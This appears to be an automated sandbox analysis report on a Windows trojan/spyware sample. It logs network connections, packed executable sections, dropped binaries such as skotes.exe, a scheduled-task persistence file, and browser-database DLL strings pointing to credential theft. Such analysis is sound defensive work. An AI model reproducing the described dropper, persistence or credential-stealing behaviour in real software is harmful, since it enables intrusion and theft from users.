Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56850
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56734
Source: unknown	Network traffic detected: HTTP traffic on port 56750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56735
Source: unknown	Network traffic detected: HTTP traffic on port 56773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56730
Source: unknown	Network traffic detected: HTTP traffic on port 56805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56851
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56861
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56749
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56866
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56742
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56871
Source: unknown	Network traffic detected: HTTP traffic on port 56886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56872
Source: unknown	Network traffic detected: HTTP traffic on port 56725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56911
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56804
Source: unknown	Network traffic detected: HTTP traffic on port 56747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56805
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56806
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56800
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56801
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56819
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56815
Source: unknown	Network traffic detected: HTTP traffic on port 56796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56816
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56817
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56818
Source: unknown	Network traffic detected: HTTP traffic on port 56786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56813
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56709
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56827
Source: unknown	Network traffic detected: HTTP traffic on port 56896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56708
Source: unknown	Network traffic detected: HTTP traffic on port 56911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56824
Source: unknown	Network traffic detected: HTTP traffic on port 56735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56825
Source: unknown	Network traffic detected: HTTP traffic on port 56806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56798
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56799
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56832 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56833 -> 443

Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.6:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.6:49778 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:49810 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.6:49833 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.6:49849 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.6:56826 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:56823 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:56900 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:56905 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:56909 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:56911 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: DocumentsJKEHIIJJEC.exe.0.dr	Static PE information: section name:
Source: DocumentsJKEHIIJJEC.exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .rsrc
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: skotes.exe.22.dr	Static PE information: section name:
Source: skotes.exe.22.dr	Static PE information: section name: .idata

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB1B700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6CB1B700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB1B8C0 rand_s,NtQueryVirtualMemory,	0_2_6CB1B8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB1B910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	0_2_6CB1B910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CABF280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6CABF280
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_00CBCB97 NtFlushProcessWriteBuffers,NtFlushProcessWriteBuffers,	25_2_00CBCB97

Source: C:\Users\user\DocumentsJKEHIIJJEC.exe

File created: C:\Windows\Tasks\skotes.job

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAB35A0	0_2_6CAB35A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB134A0	0_2_6CB134A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB1C4A0	0_2_6CB1C4A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAC6C80	0_2_6CAC6C80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CABD4E0	0_2_6CABD4E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAF6CF0	0_2_6CAF6CF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAC64C0	0_2_6CAC64C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CADD4D0	0_2_6CADD4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB2542B	0_2_6CB2542B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB02C10	0_2_6CB02C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB2AC00	0_2_6CB2AC00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAF5C10	0_2_6CAF5C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAC5440	0_2_6CAC5440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB2545C	0_2_6CB2545C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB185F0	0_2_6CB185F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAF0DD0	0_2_6CAF0DD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CACFD00	0_2_6CACFD00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAE0512	0_2_6CAE0512
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CADED10	0_2_6CADED10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB14EA0	0_2_6CB14EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB1E680	0_2_6CB1E680
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAD5E90	0_2_6CAD5E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB276E3	0_2_6CB276E3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CABBEF0	0_2_6CABBEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CACFEF0	0_2_6CACFEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB19E30	0_2_6CB19E30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB05600	0_2_6CB05600
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAF7E10	0_2_6CAF7E10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB26E63	0_2_6CB26E63
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CABC670	0_2_6CABC670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAD4640	0_2_6CAD4640
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAD9E50	0_2_6CAD9E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB02E4E	0_2_6CB02E4E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAF3E50	0_2_6CAF3E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB077A0	0_2_6CB077A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CABDFE0	0_2_6CABDFE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAE6FF0	0_2_6CAE6FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAC9F00	0_2_6CAC9F00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAF7710	0_2_6CAF7710
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAE60A0	0_2_6CAE60A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CADC0E0	0_2_6CADC0E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAF58E0	0_2_6CAF58E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB250C7	0_2_6CB250C7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAFB820	0_2_6CAFB820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB04820	0_2_6CB04820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAC7810	0_2_6CAC7810
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAFF070	0_2_6CAFF070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAD8850	0_2_6CAD8850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CADD850	0_2_6CADD850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CABC9A0	0_2_6CABC9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAED9B0	0_2_6CAED9B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB12990	0_2_6CB12990
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAF5190	0_2_6CAF5190
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB0B970	0_2_6CB0B970
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB2B170	0_2_6CB2B170
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CACD960	0_2_6CACD960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CADA940	0_2_6CADA940
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB22AB0	0_2_6CB22AB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAB22A0	0_2_6CAB22A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAE4AA0	0_2_6CAE4AA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CACCAB0	0_2_6CACCAB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB2BA90	0_2_6CB2BA90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAD1AF0	0_2_6CAD1AF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAFE2F0	0_2_6CAFE2F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAF8AC0	0_2_6CAF8AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAF9A60	0_2_6CAF9A60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CABF380	0_2_6CABF380
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB253C8	0_2_6CB253C8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAFD320	0_2_6CAFD320
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CACC370	0_2_6CACC370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAB5340	0_2_6CAB5340
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	Code function: 22_2_00FC78BB	22_2_00FC78BB
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	Code function: 22_2_00FC8860	22_2_00FC8860
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	Code function: 22_2_00FC7049	22_2_00FC7049
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	Code function: 22_2_00FC31A8	22_2_00FC31A8
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	Code function: 22_2_00F84B30	22_2_00F84B30
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	Code function: 22_2_00F84DE0	22_2_00F84DE0
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	Code function: 22_2_00FC2D10	22_2_00FC2D10
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	Code function: 22_2_00FC779B	22_2_00FC779B
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	Code function: 22_2_00FB7F36	22_2_00FB7F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_00CE78BB	23_2_00CE78BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_00CE7049	23_2_00CE7049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_00CE8860	23_2_00CE8860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_00CE31A8	23_2_00CE31A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_00CA4B30	23_2_00CA4B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_00CA4DE0	23_2_00CA4DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_00CE2D10	23_2_00CE2D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_00CE779B	23_2_00CE779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_00CD7F36	23_2_00CD7F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_00CAE530	25_2_00CAE530
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_00CAE530	25_2_00CAE530
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_00CC6192	25_2_00CC6192
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_00DAC45F	25_2_00DAC45F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_00CE8860	25_2_00CE8860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_00CA4B30	25_2_00CA4B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_00CA4DE0	25_2_00CA4DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_00CE2D10	25_2_00CE2D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_00CC0E13	25_2_00CC0E13
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_00CE7049	25_2_00CE7049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_00CE31A8	25_2_00CE31A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_00CC1602	25_2_00CC1602
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_00CE779B	25_2_00CE779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_00CE78BB	25_2_00CE78BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_00CC3DF1	25_2_00CC3DF1
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_00CD7F36	25_2_00CD7F36

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00CBD64E appears 66 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00CB7A00 appears 50 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00CB80C0 appears 262 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00CD8E10 appears 35 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00CBDF80 appears 64 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00CBD942 appears 84 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00CBD663 appears 36 times
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	Code function: String function: 00F980C0 appears 130 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CAF94D0 appears 90 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CAECBE8 appears 134 times

Source: file.exe, 00000000.00000002.2752585492.000000006CD35000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2747553724.0000000023CFA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: goeovovz ZLIB complexity 0.9946651719399882
Source: random[1].exe.0.dr	Static PE information: Section: ZLIB complexity 0.9980839596518988
Source: random[1].exe.0.dr	Static PE information: Section: bfdmawcw ZLIB complexity 0.9949619838169643

Source: random[1].exe.0.dr

Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@73/290@35/17

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CB17030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

0_2_6CB17030

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\MKGTU25I.htm

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8412:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

File created: C:\Users\user\AppData\Local\Temp\ab4cc6ce-80d1-450b-8dde-abf16470391f.tmp

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000000.00000002.2752429002.000000006CCEF000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2743852022.000000001DCC0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2751378732.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000000.00000002.2752429002.000000006CCEF000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2743852022.000000001DCC0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2751378732.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
